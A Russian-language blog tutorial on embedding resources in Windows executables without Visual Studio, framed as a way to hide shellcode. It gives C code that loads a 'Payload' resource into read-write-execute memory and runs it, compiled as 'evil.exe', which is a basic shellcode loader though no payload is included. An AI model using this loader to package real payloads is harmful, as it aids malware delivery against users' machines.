Добавление ресурсов в Windows-программы без VS

March 21, 2025 — visilii

Дисклеймер: в статье приводится пример использования ресурсов для встраивания шеллкода в исполняемый файл. Автор блога не несёт отвественности за ваши действия и т.д. и т.п….

Ресурсы - это дополнительные двоичные данные, которые можно встроить прямо в исполняемый exe-файл. В Windows они обычно используются для хранения иконок, шрифтов или меню графических приложений, но также при помощи них можно добавлять полезную нагрузку вроде шеллкодов. Непосредственно с этой точки зрения и рассмотрим, как добавить ресурс к нашей программе.

В этой статье не будет подробно рассматриваться система ресурсов, как они работают “под капотом” и как управлять большим количеством ресурсов. Для крупных проектов я советую воспользоваться Visual Studio, сильно облегчающей жизнь в этом случае. Я хотел бы рассмотреть довольно специфическую проблему добавления ресурсов без использования Visual Studio.


Для начала создадим ресурсный скрипт (.rc-файл), который будет определять включаемые нами ресурсы; назовём его resources.rc. Каждая строка в этом скрипте имеет следующую структуру:

Name Type Filename

Допустим, мы хотим добавить в наш исполняемый файл иконку logo.ico:

Logo ICON "logo.ico"

Обратите внимание:

  1. Имя ресурса чувствительно к регистру - в коде программы его надо будет указать так же, как он был указан в ресурсном файле;

  2. Тип может быть любым, однако есть определённый набор встроенных типов для иконок, кареток и т.д. Как я понимаю, в большинстве случаев, когда эти типы уместны, удобнее использовать их. Я покажу на примере кастомного типа, а отличия между ними рассмотрены здесь.

Полученный rc-файл необходимо скомпилировать в двоичный res-файл. Для этого необходимо воспользоваться утилитой из набора инструментов для разработки MSVC Build Tools. Откроем Developer PowerShell for VS 2022:

rc.exe /r .\resources.rc

На выходе получим файл resources.res.

Теперь в программе, в которой мы планируем использовать ресурс, нам необходимо найти ресурс при помощи FindResource и загрузить его с помощью LoadResource:

HRSRC shellcodeRes = FindResource(NULL, "Payload", "PAYLOAD");
HGLOBAL shellcodeRsData = LoadResource(NULL, shellcodeRes);

Обе функции возвращают NULL при ошибке; это стоит проверять в реальной программе.

shellcodeRsData - это и есть указатель на содержимое загруженного ресурса. Теперь мы можем, например, получить его размер (SizeofResource), выделить исполняемую память, скопировать ресурс туда и запустить шеллкод:

// Получаем размер полезной нагрузки
DWORD shellcodeSz  = SizeofResource(NULL, shellcodeRes);

// Выделяем память с правами на чтение-запись и исполнение
void* exec = VirtualAlloc(0, shellcodeSz, MEM_COMMIT, PAGE_EXECUTE_READWRITE);

// копируем полезную нагрузку из ресурса в выделенную память
memcpy(exec, shellcodeRsData, shellcodeSz);

// Вызываем загруженный код
((void(*)())exec)();

Осталось скомпилировать программу. В случае с clang заставить его слинковать ресурсный файл очень просто:

clang main.c resources.res -o evil.exe

Дополнительные материалы



Теги: инфобез, malware

badge: proud member of the 250KB Club badge: proud member of the darktheme.club
previous no ai webring siteno ai webringrandom no ai webring sitenext no ai webring site
Кнопки
Don't feed the AI! uBlock Origin Now! Edited with Vim I miss XP!
Piracy Now! Best viewed with Open Eyes built listening to Winamp CSS is difficult

Домен предоставлен FreeDNS